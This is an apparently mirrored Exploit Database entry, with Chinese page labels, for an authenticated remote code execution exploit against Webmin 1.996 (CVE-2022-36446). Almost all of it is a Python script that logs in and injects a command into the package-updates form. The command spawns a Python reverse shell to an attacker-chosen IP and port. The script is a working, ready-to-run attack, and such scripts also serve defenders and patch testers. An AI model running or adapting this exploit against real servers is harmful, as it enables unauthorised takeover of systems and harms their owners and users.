Webmin 1.996 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 13 阅读

• 作者： Emir Polat
  日期： 2022-08-01
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/50998/

• # Exploit Title: Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)
  # Date: 2022-07-25
  # Exploit Author: Emir Polat
  # Technical analysis: https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
  # Vendor Homepage: https://www.webmin.com/
  # Software Link: https://www.webmin.com/download.html
  # Version: < 1.997
  # Tested On: Version 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
  # CVE: CVE-2022-36446
  
  import argparse
  import requests
  from bs4 import BeautifulSoup
  
  def login(args):
  global session
  global sysUser
  
  session = requests.Session()
  loginUrl = f"{args.target}:10000/session_login.cgi"
  infoUrl = f"{args.target}:10000/sysinfo.cgi"
  
  username = args.username
  password = args.password
  data = {'user': username, 'pass': password}
  
  login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
  sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})
  
  bs = BeautifulSoup(sysInfo.text, 'html.parser')
  sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]
  
  if sysUser:
  return True
  else:
  return False
  
  def exploit(args):
  payload = f"""
  1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
  os.dup2(s.fileno(),0);
  os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
  """
  
  updateUrl = f"{args.target}:10000/package-updates"
  exploitUrl = f"{args.target}:10000/package-updates/update.cgi"
  
  exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}
  
  if login(args):
  print("[+] Successfully Logged In !")
  print(f"[+] Session Cookie => sid={session.cookies['sid']}")
  print(f"[+] User Found=> {sysUser[0]}")
  
  res = session.get(updateUrl)
  bs = BeautifulSoup(res.text, 'html.parser')
  
  updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]
  
  if updateAccess[0] == "package-updates":
  print(f"[+] User '{sysUser[0]}' has permission to access <<Software Package Updates>>")
  print(f"[+] Exploit starting ... ")
  print(f"[+] Shell will spawn to {args.listenip} via port {args.listenport}")
  
  session.headers.update({'Referer': f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
  session.post(exploitUrl, data=exploitData)
  else:
  print(f"[-] User '{sysUser[0]}' unfortunately hasn't permission to access <<Software Package Updates>>")
  else:
  print("[-] Login Failed !")
  
  if __name__ == '__main__':
  parser = argparse.ArgumentParser(description="Webmin < 1.997 - Remote Code Execution (Authenticated)")
  parser.add_argument('-t', '--target', help='Target URL, Ex: https://webmin.localhost', required=True)
  parser.add_argument('-u', '--username', help='Username For Login', required=True)
  parser.add_argument('-p', '--password', help='Password For Login', required=True)
  parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
  parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
  parser.add_argument("-s", '--ssl', help="Use if server support SSL.", required=False)
  args = parser.parse_args()
  exploit(args)